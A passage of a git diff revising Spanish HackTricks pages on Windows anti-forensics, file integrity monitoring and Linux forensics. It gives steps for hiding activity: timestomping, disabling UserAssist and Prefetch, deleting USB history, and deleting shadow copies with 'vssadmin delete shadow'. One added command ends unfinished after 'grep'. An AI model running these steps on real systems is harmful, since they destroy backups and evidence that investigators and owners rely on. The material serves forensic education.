[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
@@ -22,14 +22,13 @@ Ambos atributos tienen 4 marcas de tiempo: **Modificación**, **acceso**, **crea **El explorador de Windows** y otras herramientas muestran la información de **`$STANDARD_INFORMATION`**. -## TimeStomp - Herramienta Anti-forense +## TimeStomp - Herramienta anti-forense -Esta herramienta **modifica** la información de la marca de tiempo dentro de **`$STANDARD_INFORMATION`** **pero** **no** la información dentro de **`$FILE_NAME`**. Por lo tanto, es posible **identificar** **actividad** **sospechosa**. +Esta herramienta **modifica** la información de la marca de tiempo dentro de **`$STANDARD_INFORMATION`** **pero** **no** la información dentro de **`$FILE_NAME`**. Por lo tanto, es posible **identificar** **actividades sospechosas**. ## Usnjrnl -El **Diario USN** (Diario de Número de Secuencia de Actualización), o Diario de Cambios, es una característica del sistema de archivos Windows NT (NTFS) que **mantiene un registro de los cambios realizados en el volumen**.\ -Es posible utilizar la herramienta [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) para buscar modificaciones en este registro. +El **Diario USN** (Diario de Número de Secuencia de Actualización) es una característica del NTFS (sistema de archivos de Windows NT) que realiza un seguimiento de los cambios de volumen. La herramienta [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permite examinar estos cambios. ![](<../../.gitbook/assets/image (449).png>) @@ -37,13 +36,11 @@ La imagen anterior es la **salida** mostrada por la **herramienta** donde se pue ## $LogFile -Todos los cambios de metadatos en un sistema de archivos se registran para garantizar la recuperación consistente de las estructuras críticas del sistema de archivos después de un fallo del sistema. Esto se llama [registro anticipado](https://en.wikipedia.org/wiki/Write-ahead\_logging).\ -Los metadatos registrados se almacenan en un archivo llamado “**$LogFile**”, que se encuentra en un directorio raíz de un sistema de archivos NTFS.\ -Es posible utilizar herramientas como [LogFileParser](https://github.com/jschicht/LogFileParser) para analizar este archivo y encontrar cambios. +**Todos los cambios de metadatos en un sistema de archivos se registran** en un proceso conocido como [registro de escritura anticipada](https://en.wikipedia.org/wiki/Write-ahead_logging). Los metadatos registrados se mantienen en un archivo llamado `**$LogFile**`, ubicado en el directorio raíz de un sistema de archivos NTFS. Herramientas como [LogFileParser](https://github.com/jschicht/LogFileParser) se pueden utilizar para analizar este archivo e identificar cambios. ![](<../../.gitbook/assets/image (450).png>) -Nuevamente, en la salida de la herramienta es posible ver que se realizaron **algunos cambios**. +Nuevamente, en la salida de la herramienta es posible ver que **se realizaron algunos cambios**. Utilizando la misma herramienta es posible identificar a **qué hora se modificaron las marcas de tiempo**: @@ -56,25 +53,25 @@ Utilizando la misma herramienta es posible identificar a **qué hora se modifica ## Comparación de `$STANDARD_INFORMATION` y `$FILE_NAME` -Otra forma de identificar archivos modificados sospechosos sería comparar la hora en ambos atributos en busca de **diferencias**. +Otra forma de identificar archivos modificados sospechosos sería comparar la hora en ambos atributos en busca de **inconsistencias**. ## Nanosegundos -Las marcas de tiempo de **NTFS** tienen una **precisión** de **100 nanosegundos**. Entonces, encontrar archivos con marcas de tiempo como 2010-10-10 10:10:**00.000:0000 es muy sospechoso**. +Las marcas de tiempo de **NTFS** tienen una **precisión** de **100 nanosegundos**. Por lo tanto, encontrar archivos con marcas de tiempo como 2010-10-10 10:10:**00.000:0000 es muy sospechoso**. -## SetMace - Herramienta Anti-forense +## SetMace - Herramienta anti-forense Esta herramienta puede modificar ambos atributos `$STARNDAR_INFORMATION` y `$FILE_NAME`. Sin embargo, a partir de Windows Vista, es necesario tener un sistema operativo en vivo para modificar esta información. # Ocultación de datos -NTFS utiliza un clúster y el tamaño mínimo de información. Esto significa que si un archivo ocupa un clúster y medio, el **medio restante nunca se utilizará** hasta que se elimine el archivo. Entonces, es posible **ocultar datos en este espacio de desecho**. +NTFS utiliza un clúster y el tamaño mínimo de información. Esto significa que si un archivo ocupa un clúster y medio, el **medio restante nunca se utilizará** hasta que se elimine el archivo. Por lo tanto, es posible **ocultar datos en este espacio vacío**. Existen herramientas como slacker que permiten ocultar datos en este espacio "oculto". Sin embargo, un análisis del `$logfile` y `$usnjrnl` puede mostrar que se agregaron datos: ![](<../../.gitbook/assets/image (452).png>) -Entonces, es posible recuperar el espacio de desecho utilizando herramientas como FTK Imager. Ten en cuenta que este tipo de herramienta puede guardar el contenido de forma obstruida o incluso encriptada. +Entonces, es posible recuperar el espacio vacío utilizando herramientas como FTK Imager. Ten en cuenta que este tipo de herramienta puede guardar el contenido de forma obfuscada o incluso encriptada. # UsbKill @@ -93,16 +90,16 @@ Estas distribuciones se **ejecutan dentro de la memoria RAM**. La única forma d Es posible deshabilitar varios métodos de registro de Windows para dificultar mucho la investigación forense. -## Deshabilitar Marcas de Tiempo - UserAssist +## Deshabilitar marcas de tiempo - UserAssist Esta es una clave del registro que mantiene las fechas y horas en que se ejecutó cada ejecutable por el usuario. Deshabilitar UserAssist requiere dos pasos: 1. Establecer dos claves del registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` y `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambos en cero para indicar que queremos deshabilitar UserAssist. -2. Limpiar los subárboles del registro que se parecen a `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +2. Limpiar las subramas de tu registro que se parecen a `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. -## Deshabilitar Marcas de Tiempo - Prefetch +## Deshabilitar marcas de tiempo - Prefetch Esto guardará información sobre las aplicaciones ejecutadas con el objetivo de mejorar el rendimiento del sistema Windows. Sin embargo, esto también puede ser útil para prácticas forenses. @@ -112,7 +109,7 @@ Esto guardará información sobre las aplicaciones ejecutadas con el objetivo de * Seleccionar Modificar en cada uno de estos para cambiar el valor de 1 (o 3) a 0 * Reiniciar -## Deshabilitar Marcas de Tiempo - Hora de Último Acceso +## Deshabilitar marcas de tiempo - Hora de último acceso Cada vez que se abre una carpeta desde un volumen NTFS en un servidor Windows NT, el sistema toma tiempo para **actualizar un campo de marca de tiempo en cada carpeta listada**, llamado la hora de último acceso. En un volumen NTFS muy utilizado, esto puede afectar el rendimiento. @@ -121,27 +118,25 @@ Cada vez que se abre una carpeta desde un volumen NTFS en un servidor Windows NT 3. Buscar `NtfsDisableLastAccessUpdate`. Si no existe, agregar este DWORD y establecer su valor en 1, lo que deshabilitará el proceso. 4. Cerrar el Editor del Registro y reiniciar el servidor. -## Eliminar Historial de USB +## Eliminar historial USB -Todas las **Entradas de Dispositivos USB** se almacenan en el Registro de Windows bajo la clave del registro **USBSTOR** que contiene subclaves que se crean cada vez que conectas un Dispositivo USB a tu PC o Laptop. Puedes encontrar esta clave aquí H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Al eliminar esto** eliminarás el historial de USB.\ +Todas las **Entradas de Dispositivos USB** se almacenan en el Registro de Windows bajo la clave del registro **USBSTOR** que contiene subclaves que se crean cada vez que conectas un Dispositivo USB a tu PC o portátil. Puedes encontrar esta clave aquí H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Al eliminar esto** eliminarás el historial USB.\ También puedes usar la herramienta [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) para asegurarte de haberlos eliminado (y para eliminarlos). Otro archivo que guarda información sobre los USB es el archivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este también debería ser eliminado. -## Deshabilitar Copias de Sombra +## Deshabilitar Copias de sombra **Listar** las copias de sombra con `vssadmin list shadowstorage`\ **Eliminar** ejecutando `vssadmin delete shadow` También puedes eliminarlas a través de la GUI siguiendo los pasos propuestos en [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) -Para deshabilitar las copias de sombra: +Para deshabilitar las copias de sombra [pasos desde aquí](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -1. Ir al botón de inicio de Windows y escribir "servicios" en el cuadro de búsqueda de texto; abrir el programa Servicios. -2. Localizar "Copia de Sombra de Volumen" en la lista, resaltarlo y luego hacer clic derecho > Propiedades. -3. Desde el menú desplegable "Tipo de inicio", seleccionar Deshabilitado, y luego hacer clic en Aplicar y Aceptar. - -![](<../../.gitbook/assets/image (453).png>) +1. Abrir el programa Servicios escribiendo "servicios" en el cuadro de búsqueda de texto después de hacer clic en el botón de inicio de Windows. +2. En la lista, encontrar "Copia de sombra de volumen", seleccionarla y luego acceder a Propiedades haciendo clic derecho. +3. Elegir Deshabilitado en el menú desplegable "Tipo de inicio" y luego confirmar el cambio haciendo clic en Aplicar y Aceptar. También es posible modificar la configuración de qué archivos se van a copiar en la copia de sombra en el registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` diff --git a/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/forensics/basic-forensic-methodology/file-integrity-monitoring.md index e547d49ae..c6e08da37 100644 --- a/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ b/forensics/basic-forensic-methodology/file-integrity-monitoring.md @@ -5,29 +5,27 @@ Otras formas de apoyar a HackTricks: * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. # Línea base -Una línea base consiste en tomar una instantánea de ciertas partes de un sistema para **compararla con un estado futuro y resaltar los cambios**. +Una línea base consiste en tomar una instantánea de ciertas partes de un sistema para **compararla con un estado futuro y resaltar cambios**. -Por ejemplo, puedes calcular y almacenar el hash de cada archivo del sistema de archivos para poder averiguar qué archivos se modificaron.\ +Por ejemplo, puedes calcular y almacenar el hash de cada archivo del sistema de archivos para poder averiguar qué archivos fueron modificados.\ Esto también se puede hacer con las cuentas de usuario creadas, procesos en ejecución, servicios en ejecución y cualquier otra cosa que no debería cambiar mucho, o en absoluto. ## Monitoreo de Integridad de Archivos -El monitoreo de integridad de archivos es una de las técnicas más poderosas utilizadas para asegurar las infraestructuras de TI y los datos comerciales contra una amplia variedad de amenazas tanto conocidas como desconocidas.\ -El objetivo es generar una **línea base de todos los archivos** que deseas monitorear y luego **verificar periódicamente** esos archivos en busca de posibles **cambios** (en el contenido, atributo, metadatos, etc.). +El Monitoreo de Integridad de Archivos (FIM) es una técnica de seguridad crítica que protege los entornos de TI y los datos mediante el seguimiento de cambios en los archivos. Involucra dos pasos clave: -1\. **Comparación de línea base**, donde se capturará o calculará uno o más atributos de archivo y se almacenarán como una línea base que se puede comparar en el futuro. Esto puede ser tan simple como la hora y la fecha del archivo, sin embargo, dado que estos datos se pueden falsificar fácilmente, típicamente se utiliza un enfoque más confiable. Esto puede incluir evaluar periódicamente el checksum criptográfico de un archivo monitoreado, (por ejemplo, utilizando el algoritmo de hash MD5 o SHA-2) y luego comparar el resultado con el checksum calculado previamente. - -2\. **Notificación de cambio en tiempo real**, que generalmente se implementa dentro o como una extensión al núcleo del sistema operativo que señalará cuando se accede o modifica un archivo. +1. **Comparación de Línea Base:** Establecer una línea base utilizando atributos de archivo o sumas de verificación criptográficas (como MD5 o SHA-2) para comparaciones futuras y detectar modificaciones. +2. **Notificación de Cambios en Tiempo Real:** Recibir alertas instantáneas cuando se acceden o modifican archivos, típicamente a través de extensiones del kernel del sistema operativo. ## Herramientas @@ -40,15 +38,3 @@ El objetivo es generar una **línea base de todos los archivos** que deseas moni
- -Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)! - -Otras formas de apoyar a HackTricks: - -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md index 3911e8f50..cb42707e0 100644 --- a/forensics/basic-forensic-methodology/linux-forensics.md +++ b/forensics/basic-forensic-methodology/linux-forensics.md @@ -14,7 +14,7 @@ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=b Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). @@ -25,7 +25,7 @@ Otras formas de apoyar a HackTricks: ### Información Básica -En primer lugar, se recomienda tener una **USB** con **binarios y bibliotecas conocidos de calidad** (puedes simplemente obtener Ubuntu y copiar las carpetas _/bin_, _/sbin_, _/lib_ y _/lib64_), luego monta la USB y modifica las variables de entorno para utilizar esos binarios: +En primer lugar, se recomienda tener una **USB** con **binarios y bibliotecas conocidos de calidad** (puedes simplemente obtener Ubuntu y copiar las carpetas _/bin_, _/sbin_, _/lib_ y _/lib64_), luego montar la USB y modificar las variables de entorno para utilizar esos binarios: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 @@ -62,10 +62,10 @@ Para obtener la memoria del sistema en ejecución, se recomienda utilizar [**LiM Para **compilarlo**, necesitas utilizar el **mismo kernel** que está utilizando la máquina víctima. {% hint style="info" %} -Recuerda que **no puedes instalar LiME ni nada más** en la máquina víctima, ya que realizará varios cambios en ella. +Recuerda que **no puedes instalar LiME ni nada más** en la máquina víctima, ya que hará varios cambios en ella. {% endhint %} -Por lo tanto, si tienes una versión idéntica de Ubuntu, puedes usar `apt-get install lime-forensics-dkms`\ +Entonces, si tienes una versión idéntica de Ubuntu, puedes usar `apt-get install lime-forensics-dkms`\ En otros casos, necesitas descargar [**LiME**](https://github.com/504ensicsLabs/LiME) desde github y compilarlo con los encabezados de kernel correctos. Para **obtener los encabezados de kernel exactos** de la máquina víctima, simplemente **copia el directorio** `/lib/modules/` a tu máquina, y luego **compila** LiME utilizando esos encabezados: ```bash make -C /lib/modules//build M=$PWD @@ -155,26 +155,23 @@ ThisisTheMasterSecret
\ -Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ +Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Obtenga acceso hoy: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Buscar Malware Conocido +## Buscar Malware conocido -### Archivos del Sistema Modificados +### Archivos del sistema modificados + +Linux ofrece herramientas para garantizar la integridad de los componentes del sistema, crucial para detectar archivos potencialmente problemáticos. + +- **Sistemas basados en RedHat**: Utilice `rpm -Va` para una verificación exhaustiva. +- **Sistemas basados en Debian**: `dpkg --verify` para verificación inicial, seguido de `debsums | grep -v "OK$"` (después de instalar `debsums` con `apt-get install debsums`) para identificar cualquier problema. -Algunos sistemas Linux tienen una función para **verificar la integridad de muchos componentes instalados**, lo que proporciona una forma efectiva de identificar archivos inusuales o fuera de lugar. Por ejemplo, `rpm -Va` en Linux está diseñado para verificar todos los paquetes que se instalaron usando RedHat Package Manager. -```bash -#RedHat -rpm -Va -#Debian -dpkg --verify -debsums | grep -v "OK$" #apt-get install debsums -``` ### Detectores de Malware/Rootkit -Lee la siguiente página para aprender sobre herramientas que pueden ser útiles para encontrar malware: +Lea la siguiente página para conocer herramientas que pueden ser útiles para encontrar malware: {% content-ref url="malware-analysis.md" %} [malware-analysis.md](malware-analysis.md) @@ -182,46 +179,47 @@ Lee la siguiente página para aprender sobre herramientas que pueden ser útiles ## Buscar programas instalados -### Gestor de paquetes +Para buscar de manera efectiva programas instalados en sistemas Debian y RedHat, considere aprovechar los registros y bases de datos del sistema junto con verificaciones manuales en directorios comunes. -En sistemas basados en Debian, el archivo _**/var/lib/dpkg/status**_ contiene detalles sobre los paquetes instalados y el archivo _**/var/log/dpkg.log**_ registra información cuando se instala un paquete.\ -En sistemas RedHat y distribuciones de Linux relacionadas, el comando **`rpm -qa --root=/mntpath/var/lib/rpm`** mostrará el contenido de una base de datos RPM en un sistema. +- Para Debian, inspeccione **_`/var/lib/dpkg/status`_** y **_`/var/log/dpkg.log`_** para obtener detalles sobre las instalaciones de paquetes, utilizando `grep` para filtrar información específica. + +- Los usuarios de RedHat pueden consultar la base de datos RPM con `rpm -qa --root=/mntpath/var/lib/rpm` para listar los paquetes instalados. + +Para descubrir software instalado manualmente o fuera de estos gestores de paquetes, explore directorios como **_`/usr/local`_**, **_`/opt`_**, **_`/usr/sbin`_**, **_`/usr/bin`_**, **_`/bin`_**, y **_`/sbin`_**. Combine listados de directorios con comandos específicos del sistema para identificar ejecutables no asociados con paquetes conocidos, mejorando su búsqueda de todos los programas instalados. ```bash -#Debian +# Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" cat /var/log/dpkg.log | grep installed -#RedHat -rpm -qa --root=/ mntpath/var/lib/rpm -``` -### Otros - -**No todos los programas instalados se listarán con los comandos anteriores** porque algunas aplicaciones no están disponibles como paquetes para ciertos sistemas y deben ser instaladas desde la fuente. Por lo tanto, una revisión de ubicaciones como _**/usr/local**_ y _**/opt**_ puede revelar otras aplicaciones que han sido compiladas e instaladas desde el código fuente. -```bash -ls /opt /usr/local -``` -Otra buena idea es **verificar** las **carpetas comunes** dentro de **$PATH** en busca de **binarios no relacionados** con **paquetes instalados:** -```bash -#Both lines are going to print the executables in /sbin non related to installed packages -#Debian +# RedHat RPM database query +rpm -qa --root=/mntpath/var/lib/rpm +# Listing directories for manual installations +ls /usr/sbin /usr/bin /bin /sbin +# Identifying non-package executables (Debian) find /sbin/ -exec dpkg -S {} \; | grep "no path found" -#RedHat +# Identifying non-package executables (RedHat) find /sbin/ –exec rpm -qf {} \; | grep "is not" +# Find exacuable files +find / -type f -executable | grep ```
\ -Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ -Obtenga acceso hoy: +Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ +Obtén acceso hoy: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Recuperar Binarios en Ejecución Eliminados -![](<../../.gitbook/assets/image (641).png>) +Imagina un proceso que se ejecutó desde /tmp/exec y fue eliminado. Es posible extraerlo. +```bash +cd /proc/3746/ #PID with the exec file deleted +head -1 maps #Get address of the file. It was 08048000-08049000 +dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it +``` +## Inspeccionar ubicaciones de inicio automático -## Inspeccionar Ubicaciones de Inicio Automático - -### Tareas Programadas +### Tareas programadas ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -237,176 +235,177 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra ``` ### Servicios -Es extremadamente común que el malware se enraíce como un nuevo servicio no autorizado. Linux tiene una serie de scripts que se utilizan para iniciar servicios al arrancar la computadora. El script de inicio de inicialización _**/etc/inittab**_ llama a otros scripts como rc.sysinit y varios scripts de inicio en el directorio _**/etc/rc.d/**_, o _**/etc/rc.boot/**_ en algunas versiones antiguas. En otras versiones de Linux, como Debian, los scripts de inicio se almacenan en el directorio _**/etc/init.d/**_. Además, algunos servicios comunes se habilitan en _**/etc/inetd.conf**_ o _**/etc/xinetd/**_ dependiendo de la versión de Linux. Los investigadores digitales deben inspeccionar cada uno de estos scripts de inicio en busca de entradas anómalas. +Rutas donde un malware podría estar instalado como un servicio: + +- **/etc/inittab**: Llama a scripts de inicialización como rc.sysinit, dirigiéndose a scripts de inicio adicionales. +- **/etc/rc.d/** y **/etc/rc.boot/**: Contienen scripts para el inicio de servicios, siendo este último encontrado en versiones antiguas de Linux. +- **/etc/init.d/**: Utilizado en ciertas versiones de Linux como Debian para almacenar scripts de inicio. +- Los servicios también pueden ser activados a través de **/etc/inetd.conf** o **/etc/xinetd/**, dependiendo de la variante de Linux. +- **/etc/systemd/system**: Un directorio para scripts del sistema y del administrador de servicios. +- **/etc/systemd/system/multi-user.target.wants/**: Contiene enlaces a servicios que deben iniciarse en un nivel de ejecución multiusuario. +- **/usr/local/etc/rc.d/**: Para servicios personalizados o de terceros. +- **~/.config/autostart/**: Para aplicaciones de inicio automático específicas del usuario, que pueden ser un lugar de ocultación para malware dirigido al usuario. +- **/lib/systemd/system/**: Archivos de unidad predeterminados de todo el sistema proporcionados por paquetes instalados. -* _**/etc/inittab**_ -* _**/etc/rc.d/**_ -* _**/etc/rc.boot/**_ -* _**/etc/init.d/**_ -* _**/etc/inetd.conf**_ -* _**/etc/xinetd/**_ -* _**/etc/systemd/system**_ -* _**/etc/systemd/system/multi-user.target.wants/**_ ### Módulos del Kernel -En sistemas Linux, los módulos del kernel se utilizan comúnmente como componentes de rootkit para paquetes de malware. Los módulos del kernel se cargan cuando el sistema se inicia basándose en la información de configuración en los directorios `/lib/modules/'uname -r'` y `/etc/modprobe.d`, y en el archivo `/etc/modprobe` o `/etc/modprobe.conf`. Estas áreas deben ser inspeccionadas en busca de elementos relacionados con el malware. +Los módulos del kernel de Linux, a menudo utilizados por malware como componentes de rootkit, se cargan al inicio del sistema. Los directorios y archivos críticos para estos módulos incluyen: + +- **/lib/modules/$(uname -r)**: Contiene módulos para la versión del kernel en ejecución. +- **/etc/modprobe.d**: Contiene archivos de configuración para controlar la carga de módulos. +- **/etc/modprobe** y **/etc/modprobe.conf**: Archivos para configuraciones globales de módulos. ### Otras Ubicaciones de Inicio Automático -Existen varios archivos de configuración que Linux utiliza para lanzar automáticamente un ejecutable cuando un usuario inicia sesión en el sistema, los cuales pueden contener rastros de malware. +Linux emplea varios archivos para ejecutar programas automáticamente al iniciar sesión de usuario, potencialmente albergando malware: -* _**/etc/profile.d/\***_, _**/etc/profile**_, _**/etc/bash.bashrc**_ se ejecutan cuando cualquier cuenta de usuario inicia sesión. -* _**∼/.bashrc**_, _**∼/.bash\_profile**_, _**\~/.profile**_, _**∼/.config/autostart**_ se ejecutan cuando el usuario específico inicia sesión. -* _**/etc/rc.local**_ Se ejecuta tradicionalmente después de que se inician todos los servicios normales del sistema, al final del proceso de cambio a un nivel de ejecución multiusuario. +- **/etc/profile.d/***, **/etc/profile** y **/etc/bash.bashrc**: Ejecutados para cualquier inicio de sesión de usuario. +- **~/.bashrc**, **~/.bash_profile**, **~/.profile** y **~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión. +- **/etc/rc.local**: Se ejecuta después de que todos los servicios del sistema se han iniciado, marcando el final de la transición a un entorno multiusuario. ## Examinar Registros -Busque en todos los archivos de registro disponibles en el sistema comprometido rastros de ejecuciones maliciosas y actividades asociadas como la creación de un nuevo servicio. +Los sistemas Linux registran las actividades de los usuarios y los eventos del sistema a través de varios archivos de registro. Estos registros son fundamentales para identificar accesos no autorizados, infecciones de malware y otros incidentes de seguridad. Los archivos de registro clave incluyen: -### Registros Puros - -Los eventos de **inicio de sesión** registrados en los registros del sistema y de seguridad, incluidos los inicios de sesión a través de la red, pueden revelar que el **malware** o un **intruso obtuvo acceso** a un sistema comprometido a través de una cuenta específica en un momento determinado. Otros eventos alrededor del momento de una infección de malware pueden registrarse en los registros del sistema, incluida la **creación** de un **nuevo** **servicio** o nuevas cuentas en torno al momento de un incidente.\ -Inicios de sesión del sistema interesantes: - -* **/var/log/syslog** (Debian) o **/var/log/messages** (Redhat) -* Muestra mensajes generales e información sobre el sistema. Es un registro de datos de toda la actividad en el sistema global. -* **/var/log/auth.log** (Debian) o **/var/log/secure** (Redhat) -* Guarda registros de autenticación tanto para inicios de sesión exitosos como fallidos, y procesos de autenticación. El almacenamiento depende del tipo de sistema. -* `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"` -* **/var/log/boot.log**: mensajes de inicio y información de arranque. -* **/var/log/maillog** o **var/log/mail.log**: es para registros del servidor de correo, útil para información de servicios relacionados con postfix, smtpd o correo electrónico que se ejecutan en su servidor. -* **/var/log/kern.log**: guarda registros y advertencias del Kernel. Los registros de actividad del Kernel (por ejemplo, dmesg, kern.log, klog) pueden mostrar que un servicio en particular se bloqueó repetidamente, lo que podría indicar que se instaló una versión troyanizada inestable. -* **/var/log/dmesg**: un repositorio para mensajes de controladores de dispositivos. Use **dmesg** para ver mensajes en este archivo. -* **/var/log/faillog**: registra información sobre inicios de sesión fallidos. Por lo tanto, es útil para examinar posibles violaciones de seguridad como hackeos de credenciales de inicio de sesión y ataques de fuerza bruta. -* **/var/log/cron**: mantiene un registro de mensajes relacionados con Crond (trabajos cron). Como cuando el demonio cron inició un trabajo. -* **/var/log/daemon.log**: realiza un seguimiento de los servicios en segundo plano en ejecución pero no los representa gráficamente. -* **/var/log/btmp**: registra todos los intentos de inicio de sesión fallidos. -* **/var/log/httpd/**: un directorio que contiene archivos error\_log y access\_log del demonio Apache httpd. Todos los errores que encuentra httpd se guardan en el archivo **error\_log**. Piense en problemas de memoria y otros errores relacionados con el sistema. **access\_log** registra todas las solicitudes que llegan a través de HTTP. -* **/var/log/mysqld.log** o **/var/log/mysql.log**: archivo de registro de MySQL que registra cada mensaje de depuración, falla y éxito, incluido el inicio, detención y reinicio del demonio MySQL mysqld. El sistema decide sobre el directorio. RedHat, CentOS, Fedora y otros sistemas basados en RedHat utilizan /var/log/mariadb/mariadb.log. Sin embargo, Debian/Ubuntu utilizan el directorio /var/log/mysql/error.log. -* **/var/log/xferlog**: mantiene sesiones de transferencia de archivos FTP. Incluye información como nombres de archivos y transferencias FTP iniciadas por el usuario. -* **/var/log/\***: Siempre debe verificar los registros inesperados en este directorio +- **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Capturan mensajes y actividades en todo el sistema. +- **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registran intentos de autenticación, inicios de sesión exitosos y fallidos. +- Utiliza `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` para filtrar eventos de autenticación relevantes. +- **/var/log/boot.log**: Contiene mensajes de inicio del sistema. +- **/var/log/maillog** o **/var/log/mail.log**: Registra actividades del servidor de correo electrónico, útil para rastrear servicios relacionados con el correo electrónico. +- **/var/log/kern.log**: Almacena mensajes del kernel, incluidos errores y advertencias. +- **/var/log/dmesg**: Contiene mensajes de controladores de dispositivos. +- **/var/log/faillog**: Registra intentos de inicio de sesión fallidos, ayudando en investigaciones de violaciones de seguridad. +- **/var/log/cron**: Registra la ejecución de trabajos cron. +- **/var/log/daemon.log**: Realiza un seguimiento de las actividades de los servicios en segundo plano. +- **/var/log/btmp**: Documenta intentos de inicio de sesión fallidos. +- **/var/log/httpd/**: Contiene registros de errores y accesos de Apache HTTPD. +- 